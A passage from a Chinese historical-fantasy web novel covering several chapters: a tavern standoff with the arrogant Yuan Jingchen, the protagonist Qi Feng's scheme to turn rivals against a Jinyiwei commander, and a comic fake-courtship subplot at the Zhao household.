只听“砰”的一声闷响,富贵闷哼一声,踉跄后退三步,手臂上竟瞬间结了一层薄霜,显然是被阴寒劲气所伤。
楚清秋的情况也没好到哪里去,她本就因易容压制了八成实力,此刻全力出手,却被袁惊尘反手一掌震得气血翻涌,面纱下的脸色瞬间苍白,只能强撑着站稳,不让自己露出破绽。
“不过如此。”袁惊尘甩了甩手,眼中闪过一丝不屑,刚才的恐惧被这一击的胜利冲淡了不少,“就这点本事,也敢拦本公子?”
他重新看向柳若雪,语气带着不容置疑的强硬:“最后问你一次,到底跳不跳?”
“袁公子,适可而止吧。”齐枫缓缓站起身,走到柳若雪身前,挡住袁惊尘的视线,“醉月楼是南宫姑娘的地盘,若雪姑娘是赵大人请来的客人,你在这里强逼她跳舞,未免太不给赵大人和南宫姑娘面子了。”
周子陵也跟着上前一步,怒声道:“袁惊尘!你别太过分!齐兄已经给你台阶下了,你还不罢休?真当我们怕你不成?”
徐远、陈玉堂也纷纷附和,霍天都更是悄悄握住了腰间的长刀,眼神锐利地盯着袁惊尘身后的袁家子弟。
只要对方敢动手,他便会第一时间出手相助。
袁惊尘看着眼前的阵仗,却丝毫不惧,反而冷笑一声:“给你们面子?你们也配?齐枫,别以为你有点才名,就能在府城横着走。今日这舞,她跳也得跳,不跳也得跳!”
他说着,便要再次动手,手臂刚抬到半空,忽听雅座外传来一道冰冷的声音:“袁公子好大的威风啊,竟敢在醉月楼当众强逼女子,难道忘了府城的规矩?”
众人循声望去,只见萧无痕一袭红衣,手持圆月弯刀,缓步从楼梯口走来。
他身后跟着数名锦衣卫,个个腰佩长刀,气势凛然,刚一踏入醉月楼,便让原本喧闹的大堂瞬间安静下来。
他怎么回来了?
楚清秋和柳若雪对视一眼,眉头一皱。
袁惊尘看到萧无痕,动作下意识地顿住,眼中闪过一丝忌惮。
他虽不怕齐枫等人,却不敢轻易得罪萧无痕。
毕竟萧无痕是锦衣卫指挥使,手握生杀大权,袁氏虽在府城势大,却也不敢与朝廷正面对抗。
“萧大人。”袁惊尘收敛了几分气焰,却依旧带着几分不服气,“不过是让一个舞姬跳支舞,算不上什么大事吧?”
“算不上大事?”萧无痕走到雅座前,目光扫过柳若雪苍白的脸色,又看向袁惊尘,“府城律法明文规定,不得当众强逼良家女子,更不得在酒楼闹事。袁公子不仅无视律法,还敢对齐公子的客人动手,莫非是觉得袁氏能凌驾于律法之上?”
袁惊尘脸色一变,连忙道:“萧大人误会了,我只是跟这位姑娘开玩笑,并没有真要逼她……”
“开玩笑?”萧无痕打断他的话,“刚才本官方才在楼下,可是看得清清楚楚。袁公子若真只是开玩笑,为何要对楚姑娘和富贵动手?还伤了富贵?”
他顿了顿,语气更冷:“袁公子刚从断魂谷回来,怕是忘了府城的规矩。本奉劝你一句,安分守己些,别以为有袁氏护着,就能为所欲为。若是再让本官看到你在府城闹事,休怪本官不讲情面!”
袁惊尘被萧无痕说得哑口无言,脸色一阵青一阵白,却不敢反驳。
他知道萧无痕说到做到,若是真把对方惹恼了,就算袁振山出面,也未必能保得住他。
“既然萧大人开口了,今日这事就算了。”袁惊尘咬了咬牙,恶狠狠地瞪了柳若雪一眼,又看向齐枫,“齐公子,今日算你运气好,下次可就没这么容易了。”
说罢,他带着身后的袁家子弟,悻悻地转身离开醉月楼,临走前还不忘狠狠瞪了一眼雅座内的众人,眼神中满是冷漠,怨毒。
直到袁惊尘的身影彻底消失在醉月楼外,雅座内的众人才松了一口气。
周子陵擦了擦额头的冷汗,骂道:“这袁惊尘也太嚣张了!若不是萧大人及时赶到,今日怕是要动手了!”
徐远也点头:“是啊,他那阴寒功法太邪门了,富贵兄只是被劲气扫到,手臂就结了霜,要是真被他抓到,后果不堪设想。”
富贵活动了一下手臂,苦笑道:“那家伙的实力确实厉害,我全力出手,居然连他一招都挡不住。若不是萧大人来得及时,咱们今日怕是要吃亏。”
楚清秋也轻声道:“袁惊尘的功法比我想象中更诡异,里面掺杂了断魂谷的尸气,寻常武者根本抵挡不住。下次再遇到他,咱们得更小心才行。”
齐枫看向萧无痕,拱手道:“多谢萧大人今日出手相助,不过萧大人怎么从京城回来了?”
萧无痕摆了摆手,目光却在齐枫身上停留片刻:“齐公子不必客气,找到龙佩,本官被赏,如今是来追查余孽,维护府城秩序是本官的职责。不过,刚才本官在楼下,似乎察觉到一股极淡的威压,那股威压绝非寻常武者所有,不知齐公子可知晓?”
第两百零六章 杀了他!
齐枫心中一动,面上却不动声色:“萧大人说笑了,我只是个书生,哪懂什么威压?许是萧大人太过紧张,产生了错觉吧。”
萧无痕盯着齐枫看了片刻,见他神色坦然,便也不再追问,只是道:“或许吧。不过,袁惊尘心性暴戾,齐公子日后可得多加小心。若是遇到麻烦,可随时派人去府衙找本官。”
齐枫点头:“多谢萧大人提醒,我会注意的。”
萧无痕不再多言,转身带着锦衣卫离开了醉月楼。
大堂内的食客们见没了热闹可看,也渐渐散去,只是议论声依旧不绝于耳,大多是在讨论袁惊尘的嚣张和萧无痕的威严。
雅座内,南宫玥连忙让人取来伤药,递给富贵:“富贵兄,快擦擦药,这阴寒劲气若是不及时处理,怕是会冻伤经脉。”
富贵接过伤药,感激道:“多谢南宫姑娘。”
柳若雪也缓过神,对着齐枫躬身行礼:“多谢齐公子今日护着我。”
齐枫摆手笑道:“举手之劳罢了。倒是你,刚才受惊了,先坐下歇歇吧。”
众人重新落座,桌上的菜肴虽已微凉,却依旧挡不住众人的谈兴。
周子陵又开始说起云州丝绸生意的事,徐远和陈玉堂也跟着附和,刚才的紧张气氛渐渐被冲淡。
楚清秋坐在一旁,看着齐枫从容的侧脸,眼中闪过一丝复杂。
她刚才清晰地察觉到,那股令袁惊尘恐惧的威压,正是从齐枫身上散发的。
这个男人,到底还藏着多少秘密?
齐枫仿佛察觉到她的目光,转头对她笑了笑:“怎么了?还在担心袁惊尘?放心,有萧大人盯着,他短期内不敢再找麻烦。”
楚清秋连忙收回目光,轻轻点头:“嗯,我知道了。”
她端起茶杯,掩饰住眼中的疑惑,心中叹了一口气。
她自己都尚且有一堆的秘密没有说,又有何颜面去问齐枫隐瞒了些什么呢?
这一场酒,足足喝了一个下午,直到深夜才散。
周子陵等人都喝了个伶仃大醉不省人事。
夜色渐深,锦绣阁的厢房内只点着一盏琉璃灯。
齐枫坐在窗边的竹椅上,楚清秋则站在桌旁,指尖轻轻拂过一匹刚运来的流云锦。
“萧无痕带着假龙佩回京城,按说办事不利,就算不被问责,也该被冷落些时日,可听南宫姑娘说,他不仅没受罚,反而得了陛下赏赐的‘锦衣卫巡查令牌’。”
楚清秋转过身,“这令牌能调动府城周边的驻军,相当于把半个府城的兵权都交在了他手上。你说,朝廷到底在打什么主意?”
齐枫抬眸,嘴角勾起一抹淡笑:“赏的不是令牌,是追查龙佩的尚方宝剑。朝廷对碧玺龙佩的执念,远超咱们想象。那龙佩不仅藏着乾国宝藏,还关乎景国龙脉气运,陛下就算知道萧无痕带回的是假佩,也得借着赏令牌的由头,让他继续追查。”
他顿了顿:“而且,萧无痕这趟回京,怕是还跟陛下提了府城的异状,或许还有我这个春闱榜首的不寻常,他要这巡查令牌,一半是为了追查龙佩,另一半,怕是为了盯着我。”
楚清秋闻言,心头一紧,快步走到齐枫面前:“你是说,他已经开始怀疑你了?今日在醉月楼,他看你的眼神确实不对劲,盯着你看了好一会儿,怕是察觉到了什么。”
“何止是怀疑。”齐枫摇头,语气多了几分冷意,“他本就因龙佩案盯着乾国余孽,我帮你遮掩身份,这些事迟早会落入他眼中,今日他在醉月楼解围,不过是想试探我的反应,若是我怕了,他反而会更疑心,若是我坦然应对,他倒会暂时按兵不动,等着抓更实的把柄。”
楚清秋握着软剑的手微微收紧:“那咱们该怎么办?萧无痕手握巡查令牌,又有锦衣卫护着,府衙的赵大人,卢大人虽偏向咱们,却也不敢公然与他作对。若是他真要查我的身份,咱们根本拦不住。到时候,不仅我会暴露,连周子陵、徐远他们几家,都会被贴上通敌的标签,锦绣阁的生意也会彻底毁了。”
齐枫看着她紧张的模样,忽然伸手,轻轻拍了拍她的手背。
掌心的温度透过薄薄的衣料传来,让楚清秋紧绷的神经稍稍放松了些。
“别这么慌。萧无痕虽难缠,却也有致命弱点,他太贪功,又太自负。他以为握着巡查令牌就能掌控一切,却忘了府城不是京城,这里有各大家族的势力,有幽冥教的暗桩,还有霍将军带来的云州商盟势力,这些都不是他能轻易拿捏的。”
楚清秋抬头,眼中满是疑惑:“可就算他有弱点,咱们也动不了他。他身边的锦衣卫个个是高手,府衙的捕快也得听他调遣,咱们就算联合霍将军也未必是他的对手。你……你到底想怎么做?”
齐枫收起笑容,目光缓缓沉了下来。
琉璃灯的光晕落在他脸上,一半明亮,一半隐在阴影里,让他的神情多了几分深不可测。
他没有立刻回答,只是起身走到窗边,推开一条缝隙,望着外面沉沉的夜色。
南街的灯笼早已熄灭,只有巡逻兵的火把偶尔闪过。
“怎么做?”他的声音很轻,却带着一股不容置疑的决绝,一字一句传入楚清秋耳中,“当然是杀了他。”
“杀了他?”
楚清秋像是被惊雷劈中,猛地后退一步,撞到身后的桌角,发出“哐当”一声轻响。
她瞪大了眼睛,面纱下的嘴唇微微颤抖:“你知道自己在说什么吗?萧无痕是朝廷钦命的锦衣卫指挥使,是陛下亲派的巡查官!杀了他,等同于公然谋反!一旦事发,别说你我,整个锦绣阁、醉月楼,甚至周子陵、徐远他们几家,都会被满门抄斩!府城的百姓也会被牵连,这可是株连九族的大罪!”
她从未想过齐枫会有如此疯狂的念头。
对抗袁氏、周旋幽冥教,尚且能靠着智谋和人脉化解,可杀朝廷命官,尤其是萧无痕这种手握实权的高官,简直是把自己往火坑里推。
齐枫转过身,看着她震惊的模样,神色却依旧平静,仿佛在说一件再寻常不过的事:“我知道杀他的后果。可你有没有想过,只要萧无痕活着,咱们就永远活在他的监视下?而且他还怀疑咱们!”
第两百零七章 驱虎吞狼
他缓步走到楚清秋面前:“你与霍将军联络旧部、筹备复国物资,每一步都可能被他的人盯上,锦绣阁的丝绸生意要拓展到云州,难免会与他的巡查范围重叠。”
“甚至周子陵他们几家,只要跟我走得近,就会被他视作潜在同党。他就像悬在咱们头顶的一把刀,今日不落下,明日也会落下,与其等着他动手,不如咱们先斩了这把刀。”
楚清秋的心跳得飞快,手心全是冷汗。
她看着齐枫眼中毫不掩饰的杀心,忽然觉得眼前的男人既熟悉又陌生。
平日里他总是一副从容温和的模样,可此刻,他的平静下藏着的狠戾,比袁惊尘的暴戾更让人胆寒!
“可……可我们根本没机会。”楚清秋尽量让自己冷静下来,“萧无痕武功高强,据说他的冷月刀法已经练到了第七重,寻常江湖高手都近不了他的身。”
“而且他行踪诡秘,除了府衙和锦衣卫驿站,没人知道他常去什么地方。咱们就算想动手,也找不到合适的时机。”
“时机总会有的。”齐枫抬手,轻轻拂去她肩头沾染的锦丝,“萧无痕虽谨慎,却也有疏忽的时候,他与袁振山虽有勾结,却也互相提防,密谈时不会带太多护卫,甚至他为了抢功,可能会单独追查真龙佩的线索。这些都是咱们的机会。”
他顿了顿,眼中闪过一丝算计:“更何况,杀了他,未必会查到咱们头上,袁振山怨他之前偏袒我,逼死袁克良,到时候只要稍微引导一下,有的是人愿意替咱们背这口黑锅。朝廷就算想查,也只会在余孽和袁氏之间打转,绝不会怀疑到我这个春闱榜首头上。”
楚清秋张了张嘴,想反驳,却发现自己竟找不到半分理由。
一边是随时可能降临的灭顶之灾,一边是铤而走险的绝地反击,她似乎没有别的选择。
可一想到“杀朝廷命官”这五个字,她的心脏就像被一只无形的手攥紧,连呼吸都变得困难。
厢房内的琉璃灯忽明忽暗,映得两人的影子在墙上晃动。
齐枫看着她纠结的模样,没有再继续劝说。
他的眼神却没有半分动摇。
从决定护着楚清秋开始,从被萧无痕盯上的那一刻起,他就知道,这场博弈没有退路。要么斩了萧无痕这把刀,要么等着被刀斩。
而他,从来不是会坐以待毙的人。
楚清秋看着齐枫坚定的侧脸,心中忽然涌起一阵复杂的情绪。
她既怕这个计划的凶险,又莫名相信这个总能化险为夷的男人。
她张了张嘴,想再说些什么,可话到嘴边,却只化作一声微不可查的轻叹。
齐枫看着她紧绷的模样,缓步走到她身边,伸手轻轻拍了拍她的肩膀,安抚道:“别这么紧张,我说要杀萧无痕,并非要咱们亲自动手,更不是明目张胆地与朝廷为敌。”
他顿了顿,指尖指向窗外沉沉的夜色,那里隐约能看到袁府方向的灯火。
“府城就像个斗兽场,袁惊尘和萧无痕就是里面最凶的两头虎。两虎相争,必有一伤,咱们要做的,不过是递一根挑拨的棍子,让他们自己斗起来。”
楚清秋闻言,眼中的震惊渐渐褪去,多了几分疑惑:“用袁惊尘和萧无痕?可他们一个是袁氏子弟,一个是朝廷命官,平日里虽有交集,却也井水不犯河水,怎么会突然争斗起来?”
“怎么不会?”齐枫轻笑一声,走到桌旁坐下,拿起茶壶为自己倒了杯茶,“袁惊尘的性子你也见识过,暴戾、自负,眼里容不得半点沙子。他在断魂谷待了三年,早就养成了实力至上的性子。”
“之所以对萧无痕客气,不过是忌惮他锦衣卫指挥使的身份,怕给袁氏惹麻烦。可一旦这层忌惮被打破,他根本不会把萧无痕放在眼里。”
他喝了口茶,继续道:“今日在醉月楼,萧无痕当着众人的面呵斥袁惊尘,让他下不来台,这已经在袁惊尘心里埋下了一根刺。你想想,袁惊尘连亲兄袁克良的死都毫不在意,又怎会真的怕萧无痕?”
“他现在不动手,不过是还没找到合适的理由,也不想过早与朝廷撕破脸。可只要咱们再推一把,让他觉得萧无痕欺人太甚,以他的性子,定会忍不住出手。”
楚清秋眉头微蹙,还是有些不解:“可萧无痕是朝廷命官,又手握巡查令牌,袁惊尘就算再自负,也该知道动了萧无痕的后果。他真的会这么冲动?”
“冲动?”齐枫放下茶杯,眼中闪过一丝锐利,“对别人来说,动朝廷命官是冲动,可对袁惊尘来说,这不过是清理障碍。你别忘了,他从断魂谷回来,唯一的目标就是碾压强者,萧无痕的武功和身份,在他眼里就是最好的猎物。”
“更何况,萧无痕还与袁振山面和心不和,袁振山想借萧无痕的手对付咱们,萧无痕却想利用袁氏追查龙佩,两人本就互相提防。只要咱们让袁惊尘觉得,萧无痕阻碍了他,他根本不会管什么朝廷命官的身份。”
他顿了顿,脸色多了几分笃定:“而且,这两个人还有个共同点,都极其自负。萧无痕觉得自己掌控着府城的局势,袁惊尘觉得自己的实力无人能及。两个自负的人撞在一起,本就容易起摩擦,再加上今日醉月楼的过节,只要咱们稍微激化矛盾,他们迟早会斗起来。”
楚清秋听到这里,眼中终于闪过一丝亮光,她走到齐枫面前,美眸带着几分兴奋:“你的意思是,咱们不用亲自动手,只要让他们俩互相猜忌、互相敌视,最后让他们自相残杀?这个办法太好了!既不用担杀官的风险,又能除掉萧无痕这个大麻烦!”
“没错。”齐枫点头,嘴角勾起一抹淡笑,“萧无痕死在袁惊尘手里,朝廷只会追查袁氏,不会怀疑到咱们头上,就算袁惊尘杀不了萧无痕,两败俱伤之下,萧无痕也没精力再盯着咱们,袁氏的实力也会受损,咱们正好坐收渔翁之利。”
第两百零九章 娶我
巷口的“李家早点铺”招牌早已被油烟熏得泛黑,透着股让人安心的烟火气。
几张油腻的木桌旁坐满了食客,挑着担子的小贩、穿着短打的伙计、摇着蒲扇的老太太,围着桌子吃得热火朝天,活像一幅热闹的市井画。
赵明兰熟门熟路地挤到靠窗的位置,拉着齐枫坐下,对着柜台里系着围裙的壮汉脆生生喊:“李掌柜!两碗甜豆浆,四根油条,再来一碟你家腌的萝卜干!要多放辣!”
“好嘞!赵小姐稍等!”柜台后的李掌柜嗓门洪亮,手上的动作却没停,很快就用粗瓷碗盛了两碗冒着热气的豆浆,又用油纸包了四根金黄酥脆的油条,连同一碟红油拌萝卜干一起端了过来。
“赵小姐今天带朋友来啦?这可是春闱榜首齐公子吧?久仰大名!”
齐枫笑着点头:“掌柜客气了。”
赵明兰拿起一根油条,小心地吹了吹,递到齐枫嘴边,眼神像等着被夸奖的孩子:“你快尝尝,刚出锅的最香!李掌柜的手艺,我从小吃到大,从来没吃腻过!”
齐枫顺从地咬了一口,外酥里嫩的口感瞬间在嘴里炸开,鸡蛋的香混着面香,还带着淡淡的油花,搭配着甜豆浆的温润,确实如赵明兰所说,好吃得让人眼前一亮。
他咽下嘴里的油条,点头道:“确实不错,比锦绣阁后厨做的还多几分烟火气。”
“那是!”赵明兰得意地扬起下巴,自己也拿起一根油条咬了一大口,嘴角沾了点油星,她毫不在意地用指尖擦掉,还不忘跟齐枫分享。
“我跟你说,小时候我调皮,偷偷跑出来玩,没钱买吃的,李掌柜就总偷偷给我塞一根油条,还让我慢点吃,别噎着,后来我娘知道了,还特意来给李掌柜送了两斤茶叶呢!”
齐枫看着她毫无形象的模样,忍不住笑了:“没想到你还有这么接地气的时候。我还以为赵小姐从小就是锦衣玉食,连早点都得是燕窝粥配点心呢。”
“才不是!”赵明兰瞪了他一眼,腮帮子还鼓鼓的,像只塞满了食物的小松鼠,“燕窝粥哪有油条豆浆香?我娘总说我没规矩,可我就是喜欢这口!对了,齐枫,你还没说呢,到底帮不帮我啊?”
齐枫拿起帕子擦了擦嘴角,看着她忽然变得认真的眼神,心中隐隐有了些猜测,却还是故意逗她。
“你都没说是什么事,我怎么知道帮不帮?万一你让我去抢袁氏的铺子,我可不去。”
“谁让你干那种事了!”赵明兰放下手中的油条,拿起帕子仔细擦了擦手,眼神忽然变得格外郑重,连坐姿都端正了不少。
她抬眸看向齐枫,晨光透过窗棂落在她脸上,映得她眼底的光芒格外亮,像是下定了巨大的决心:“齐枫,我想让你娶我。”
“噗!”
齐枫刚喝进嘴里的一口豆浆直接喷了出来,幸好他反应快,猛地偏过头避开了桌布,可胸前的青衫还是溅上了一大片奶白色的豆浆,连衣襟都湿了大半。
他剧烈地咳嗽起来,眼泪都快咳出来了,难以置信地看着赵明兰:“你……你说什么?娶你?”
周围的食客瞬间被这边的动静吸引,纷纷侧目,眼神里满是好奇。
坐在隔壁桌的老太太更是直接探过头,笑眯眯地打量着两人:“哎哟,这小两口,可真热闹!姑娘家这么直接,倒是少见!”
赵明兰却毫不在意众人的目光,依旧一脸认真地看着齐枫,甚至往前凑了凑:“对啊,娶我!我觉得你人特别好,有才华,又有本事,你还经常护着我,你开锦绣阁,我带姐妹去捧场,咱们俩多般配啊!我舒父也喜欢你,说你是个靠谱的,咱们俩在一起,正好!”
她顿了顿,还掰着手指细数起来,生怕齐枫不同意:“你看,你是春闱榜首,以后肯定能当大官,我是赵大人的侄女,咱们俩门当户对,你性格好,我虽然偶尔有点小脾气,可我会改,你要是娶了我,我还能帮你在我叔父面前说好话,让他多给你机会……这么多好处,你难道不心动吗?”
齐枫这才彻底缓过神,看着赵明兰一本正经的模样,哭笑不得。
他早就知道赵明兰性子直率、热情似火,可没想到她会这么大胆,直接在人来人往的早点铺里提“娶亲”,还把“好处”列得清清楚楚,活像在跟人谈生意。
他深吸一口气,压低声音,尽量不让自己的语气太过生硬:“明兰,婚姻大事不是儿戏,哪能这么随便?你……你是不是跟我开玩笑呢?”
“我没开玩笑!”赵明兰皱起眉头,语气带着几分委屈,眼眶都微微泛红了,“我是认真的!我都想好了,等你考完殿试,咱们就成亲,我给你洗衣做饭,帮你打理家事,绝不会拖你后腿!你要是觉得我不够好,我可以学女红,学管家,我什么都愿意学!”
齐枫看着她眼中的认真,心中忽然有些慌乱。
他对赵明兰的感情还没到那种娶妻生子的地步,他流连于花丛,但也不愿辜负一个女人的真心。
可看着她泫然欲泣的模样,又不知该如何拒绝。
他知道赵明兰性子骄傲,若是直接说“不喜欢”,怕是会伤了她的自尊。
他正琢磨着怎么委婉开口,却见赵明兰忽然“扑哧”一声笑了出来,眼中的委屈瞬间消失得无影无踪,取而代之的是狡黠的笑意,连嘴角都勾起了恶作剧得逞的弧度。
“哈哈!齐枫,你刚才的样子也太好笑了!豆浆都喷出来了,胸前湿了一大片,跟个受惊的兔子似的!”
赵明兰笑得前仰后合,连肩膀都在发抖,还不忘指着他的衣襟打趣,“你该不会真以为我要让你娶我吧?我可没那么着急嫁人!”
齐枫一愣,随即反应过来自己被耍了,又气又笑地伸手刮了下她的鼻尖:“你这丫头,胆子越来越大了,居然敢拿这种事耍我!知不知道刚才差点把我魂都吓没了?要是被外人听见,还以为我真对你做了什么呢!”
第两百一十章 挡箭牌
“谁让你那么严肃嘛!”赵明兰捂着鼻子,不满地嘟着嘴,眼神却依旧带着笑意,“我娘最近天天催我嫁人,说我都二九年华了,再不出嫁就成老姑娘了。前几天还跟我说,要给我介绍什么王公子。”
“听说那人长得油头粉面,还喜欢拈花惹草,昨天又说要介绍李公子,听说那人除了读书什么都不会,连袜子都要丫鬟洗,我才不要跟那种人相亲!”
她越说越委屈,拉着齐枫的手轻轻晃了晃,语气又软了下来,恳求道:“齐枫,我知道你最好了,你就帮我一次好不好?你假装跟我互相有意,不用真的成亲,就跟我娘说咱们俩想先处处看,等过两年我找到喜欢的人,或者你考上状元有了更好的选择,咱们就和平分手,绝不纠缠你!”
她顿了顿,还不忘抛出诱饵:“而且,我还会帮你在我娘和我叔父面前说好话,让他们更看重你。你不是想拓展锦绣阁的生意吗?我娘认识好多官夫人,我让她帮你牵线,保证让你的丝绸卖到官宦人家去!”
齐枫看着她可怜巴巴的模样,又想起赵明德对自己的照拂。
上次袁克良的事,若不是赵明德出面斡旋,怕是不会那么容易解决。
他无奈地叹了口气,终究没忍心拒绝:“就只是假装?不做什么过分的事吧?”
“对!就只是假装!”赵明兰连忙点头,眼睛亮得像两颗星星,激动地抓住齐枫的手,“我保证,就只是跟我娘说几句话,最多一起吃几顿饭,绝不让你做别的!等这事过去了,我请你在醉月楼吃最好的宴席!”
齐枫看着她急切的模样,终究还是点了点头:“好吧,我答应你。不过你得跟你娘说清楚,只是互相有意,别闹得太离谱,免得以后不好收场。”
“太好了!齐枫,你真是我的大恩人!”赵明兰兴奋地从凳子上跳起来,不等齐枫反应,突然凑上前,在他脸颊上飞快地亲了一下。
柔软的唇瓣带着淡淡的脂粉香和油条的油香,轻轻一碰就分开,却让齐枫瞬间僵在原地。
周围的食客见状,顿时爆发出一阵哄笑,刚才那位老太太更是笑得合不拢嘴:“哎哟,这小两口,可真甜!齐公子好福气啊!”
赵明兰却毫不在意众人的调侃,拉着齐枫的手就往外走,像是生怕他反悔:“快走快走!咱们现在就去我家跟我娘说,免得她又给我安排相亲!我娘今天正好在家,还请了王夫人她们来做客,正好让她们也看看你,省得她们总说我没人要!”
齐枫被她拉着往前走,心中又是无奈又是好笑。
这赵明兰,还真是想一出是一出,一点都不给人反应的时间。
他回头看了眼早点铺里起哄的食客,又低头看了看被赵明兰紧紧攥着的手,只能任由她拉着,朝着赵府的方向快步走去。
赵府位于府城的东城区,离南街不算太远,两人快步走了约莫一炷香的时间,一座气派的宅院就出现在眼前。
朱漆大门巍峨高耸,门前的两尊石狮子威武雄壮,门楣上挂着一块烫金匾额,上书“赵府”二字,匾额边缘还雕刻着精致的祥云纹,一看便知是官宦之家的气派。
守门的家丁看到赵明兰,连忙躬身行礼,脸上带着几分熟稔的笑意:“小姐,您回来了!夫人正在前厅等着您呢,还说让您回来后赶紧过去,有要事跟您说。对了,王夫人、李夫人她们也来了,正在前厅喝茶呢。”
“知道了!”赵明兰应了一声,拉着齐枫就往里走,脚步比刚才还快了几分,一脸得意洋洋,“太好了,我娘和几位夫人都在,正好让她们看看你,省得她们总在我娘面前说我坏话!齐枫,你等会儿可得表现好点,别给我丢脸啊!”
齐枫站在赵府的大门前,看着院内精致的亭台楼阁、修剪整齐的花木,还有远处回廊上走动的丫鬟仆妇。
他深吸一口气,理了理胸前沾了豆浆的衣襟。
不过是假装当挡箭牌,跟几位夫人见个面,应该不会出什么乱子吧?
可他不知道的是,赵夫人今日请王夫人、李夫人来,根本不是单纯的做客,而是想让她们帮忙“相看”那位“王公子”。
赵夫人早就把“王公子”的帖子递了过来,今日特意让赵明兰回来,就是想让两人见一面。
赵府前厅的鎏金铜炉里燃着上好的檀香,青烟袅袅缠绕着梁上悬挂的水晶灯,将满室映照得暖光流转。
几张梨花木太师椅围绕着八仙桌摆放,桌上的青瓷茶盏里盛着刚沏好的雨前龙井,氤氲的热气混着茶香,透着股官宦人家的雅致。
赵夫人端坐在主位,一身石青色绣暗纹的褙子,头发梳成规整的圆髻,插着一支赤金点翠步摇,举手投足间满是官家主母的端庄。
她身旁坐着两位衣着华贵的夫人,左边是王夫人,穿着宝蓝色锦裙,手上戴着满绿的翡翠镯子。
右边是李夫人,一身藕荷色衣裙,鬓边簪着珠花,两人正拿着帕子,低声与赵夫人说着什么,时不时还笑着点头,眼神里带着几分促狭。
八仙桌的另一侧,坐着一位身着月白锦袍的年轻男子,正是赵夫人为赵明兰挑选的“相亲对象”王承宇。
他是府城盐商王家的独子,家里堆金积玉,平日里养尊处优惯了,此刻正翘着二郎腿,手指漫不经心地摩挲着腰间的玉佩,眼神带着几分傲慢。
扫过厅内的陈设时,嘴角还勾起一抹若有似无的不屑,仿佛这赵府的气派在他眼里根本不值一提。
“王公子,尝尝这雨前龙井,是前几日杭州知府送来的,口感还算清甜。”赵夫人端起茶盏,语气带着几分客气。
王家虽只是商户,却垄断了府城大半的盐运,连官府都要给几分薄面,她自然不愿怠慢。
王承宇却只是随意地端起茶盏,浅抿一口便放下,带着几分敷衍:“尚可。不过比起我家珍藏的碧螺春,还是差了点意思。我家那碧螺春,是宫里的公公赏的,一年也就那么二两,喝一口都觉得浑身舒坦。”
第两百一十一章 傲慢无礼
王夫人闻言,立刻笑着附和:“承宇这孩子,就是嘴刁!不过王家的好茶,确实是府城一绝,上次我去做客,喝了一口那碧螺春,到现在还惦记着呢!”
李夫人也跟着点头:“可不是嘛!王公子年轻有为,家里又这么殷实,哪家姑娘嫁过去,都是天大的福气!赵夫人,您说是不是?”
赵夫人脸上堆着笑,心里却有些不自在。
她早就听说王承宇性子傲慢,今日一见,果然名不虚传。
可想到自家女儿的婚事,还是耐着性子道:“王公子确实优秀。我家明兰性子直,要是以后真能跟王公子走到一起,还得劳烦王公子多担待。”
王承宇闻言,眼中闪过一丝得意,却故意皱起眉头:“赵夫人说笑了。我王家虽不算顶尖世家,可也不是什么人都能进的。不过看在赵大人的面子上,我倒可以跟赵小姐处处看,只要她安分守己,别耍小性子,我倒也不是不能接受。”
这话听得王夫人和李夫人都有些尴尬。
赵夫人脸上的笑容也淡了几分,却还是强撑着道:“明兰那孩子就是年纪小,等再大些就懂事了。她也快回来了,咱们再等等。”
王承宇不耐烦地瞥了眼窗外,带着几分抱怨:“这都快巳时了,赵小姐怎么还没来?莫非是不想见我,故意拖延?”
“王公子莫急,”赵夫人连忙安抚,“明兰许是路上遇到什么事了,再等等,再等等。”
就在这时,厅外传来一阵轻快的脚步声,伴随着丫鬟的通报:“小姐回来了!还带了位公子!”
众人纷纷抬头望去,只见赵明兰拉着齐枫的手,快步从回廊走进前厅。
赵明兰穿着鹅黄长裙,脸上带着雀跃的笑意,头发随意地挽了个髻,插着一支珍珠簪子,少了几分官家小姐的端庄,多了几分灵动。
齐枫则身着青衫,虽胸前的衣襟还残留着些许豆浆的痕迹,却难掩一身清隽的气质,手中折扇轻摇,目光平静地扫过厅内众人,带着几分从容。
赵夫人看到齐枫,眼睛瞬间睁大,手中的茶盏差点脱手。
她虽见过齐枫几次,却没想到女儿会突然把他带到家里来,还拉着他的手,姿态亲昵得不像话。
王夫人和李夫人也愣住了,两人对视一眼,都从对方眼中看到了惊讶和八卦,手中的帕子都忘了挥动。
唯独王承宇,从未见过赵明兰,也不认识齐枫。
他的目光先是被赵明兰的美貌吸引,眼睛一亮。
赵明兰生得明眸皓齿,肌肤胜雪,笑起来时还有两个浅浅的梨涡,比他见过的那些商户小姐不知好看多少倍。
他下意识地整理了一下锦袍,挺直了腰板,却还是带着几分轻佻:“赵夫人,这位姑娘是?莫非是您的另一位千金?生得可真漂亮!要是赵小姐有这位姑娘一半好看,我倒也认了。”
这话一出,赵明兰脸上的笑容瞬间消失,她猛地瞪向王承宇,叉着腰,俏脸带着几分怒意:“瞎了你的狗眼!姑奶奶就是赵明兰!什么一半好看?我看你是眼神不好,该找个大夫治治!”
王承宇瞬间僵在原地,眼睛瞪得像铜铃,难以置信地看着赵明兰。
他刚才还在心里盘算着怎么“将就”赵小姐,却没想到眼前这位漂亮又泼辣的姑娘,就是自己要相亲的对象!
他张了张嘴,半天没说出话来,手指下意识地攥紧了腰间的玉佩,脸上的傲慢瞬间被震惊取代。
赵夫人也没想到女儿一进门就发脾气,连忙起身打圆场:“明兰!不得无礼!这位是王公子,快给王公子道歉!”
“我凭什么道歉?”赵明兰梗着脖子,拉着齐枫的手更紧了些,“是他先胡说八道的!什么叫我只有这位姑娘一半好看?他自己长得油头粉面,还好意思说别人!”
齐枫站在一旁,看着眼前的闹剧,无奈地摇了摇头。
他轻轻拍了拍赵明兰的手,低声道:“别冲动,有话好好说。”
赵明兰却没听劝,依旧瞪着王承宇:“我才不跟他好好说!这种人,一看就不是什么好东西,油腔滑调的,我才不要跟他相亲!”
王承宇这才缓过神,脸上的震惊变成了恼怒。
他何时受过这种气?在府城,哪家小姐见了他不是毕恭毕敬?
眼前这赵明兰,不仅长得没他想象中“温顺”,还敢当众骂他,简直是反了天了!
“你敢骂我?”王承宇猛地站起身,手指着赵明兰,脸上带着几分戾气,“我王家在府城是什么地位?你一个小小的官家小姐,也敢跟我这么说话?信不信我让你爹丢了乌纱帽!”
“你敢威胁我?”赵明兰也怒了,就要上前理论,却被齐枫拉住。
齐枫上前一步,挡在赵明兰身前,目光平静地看着王承宇:“王公子,明兰性子直,说话难免冲了些,你何必跟她计较?而且,你刚才的话确实不妥,道歉也是应该的。”
王承宇看着齐枫,眼中闪过一丝疑惑:“你是谁?这里有你说话的份吗?”
